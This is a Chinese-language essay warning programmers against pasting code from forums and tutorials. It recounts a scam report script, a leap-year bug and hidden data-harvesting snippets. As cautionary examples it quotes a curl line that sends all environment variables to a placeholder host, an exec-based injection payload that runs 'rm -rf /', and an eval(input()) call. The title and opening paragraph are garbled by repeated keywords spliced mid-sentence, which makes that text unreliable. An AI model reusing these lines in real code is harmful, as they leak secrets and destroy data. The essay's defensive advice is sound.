坑人代码直接复制用
坑人代码直接复制用
去年冬天，坑人同事老周在群里甩了个“一键生成报表”的代码Python脚本，说从某技术论坛扒下来的直接，亲测能跑。复制我点开一看，坑人总共十二行，代码其中八行是直接import，剩下四行里有一行写着eval(input("请输入你的复制身份证号后六位："))。老周说这脚本在他电脑上确实弹出了报表，坑人就是代码每次运行完浏览器主页会变成某导航站。我没敢用，直接但群里另外三个人复制了。复制第二天，坑人其中一个的代码微信被盗，群发了一轮“帮我砍一刀”。直接
这事让我想起刚入行时带我的师傅。他有个怪癖：从不复制网上超过二十行的代码，哪怕是个排序算法也要自己敲一遍。他说复制来的代码像别人嚼过的口香糖——看着是甜的，嚼着嚼着就发现里面混着沙。我当时觉得他矫情，直到有次我从Stack Overflow抄了一段日期格式化函数，上线后才发现它把“2023-03-01”转成了“2023-02-29”。闰年判断写反了，那哥们还在回答底下回复“感谢指正，已更新”，但我的生产环境已经跪了。
“能跑就行”是最大的谎话
技术社区里有个不成文的默契：代码片段只保证在作者的环境里能跑。他可能用Python 3.8，你用的是3.11；他的数据库连接池配了超时，你的没配；他电脑上刚好装了个全局的requests库，你这边连pip都没更新。更隐蔽的是那些“顺手”写进去的调试代码。我见过最离谱的一段——某个“快速搭建Flask后台”的教程，在app.run()前面夹了一行os.system("curl http://xxx.com/log?data=" + str(os.environ))。作者大概是想收集环境变量做统计，但复制的人里没几个会一行行读。这行代码安静得像颗钉子，直到某天你的云服务器账单多出一笔境外流量费。
还有种坑叫“过度封装”。有人写了个def safe_exec(code):，里面用exec()跑你传进来的字符串，然后告诉你“这样能动态加载配置”。你复制了，觉得挺高级。后来发现用户输入框里只要填__import__('os').system('rm -rf /')，你的服务器就真去删根目录了。那篇博客的评论区有人问“这安全吗”，作者回“内网用没事”。但你的项目恰好是公网API。
复制之前，先做三件事
我现在养成个习惯：拿到任何代码片段，先扔进隔离环境跑一遍，开个strace或者用docker限制网络。不是信不过别人，是信不过“刚好能用”的巧合。第二，搜一下代码里出现的所有域名、IP、文件路径。有次我扒到一段“自动签到”脚本，里面藏了个base64编码的URL，解码后是个Telegram bot的token。作者用这脚本收集了上千个用户的cookie。第三，看修改日期。三年前的代码还在用urllib2，你复制过来就是给自己找麻烦。
最省事的办法其实是自己重写。听起来费时间，但调试别人代码花的时间往往更长。老周后来学乖了，他把那个报表脚本拆开，只抄了核心的pandas逻辑，输入输出全部自己写。现在他的脚本跑了一年多，没再弹过奇怪的主页。他说了句话我记到现在：“复制粘贴是给懒人准备的陷阱，而懒人通常没时间填坑。”
所以下次看到“直接复制可用”的标题，先别急着Ctrl+C。想想老周那个十二行脚本，想想那个闰年判断反了的日期函数。代码不会骗人，但写代码的人会。你省下的那几分钟，可能要用几个通宵来还。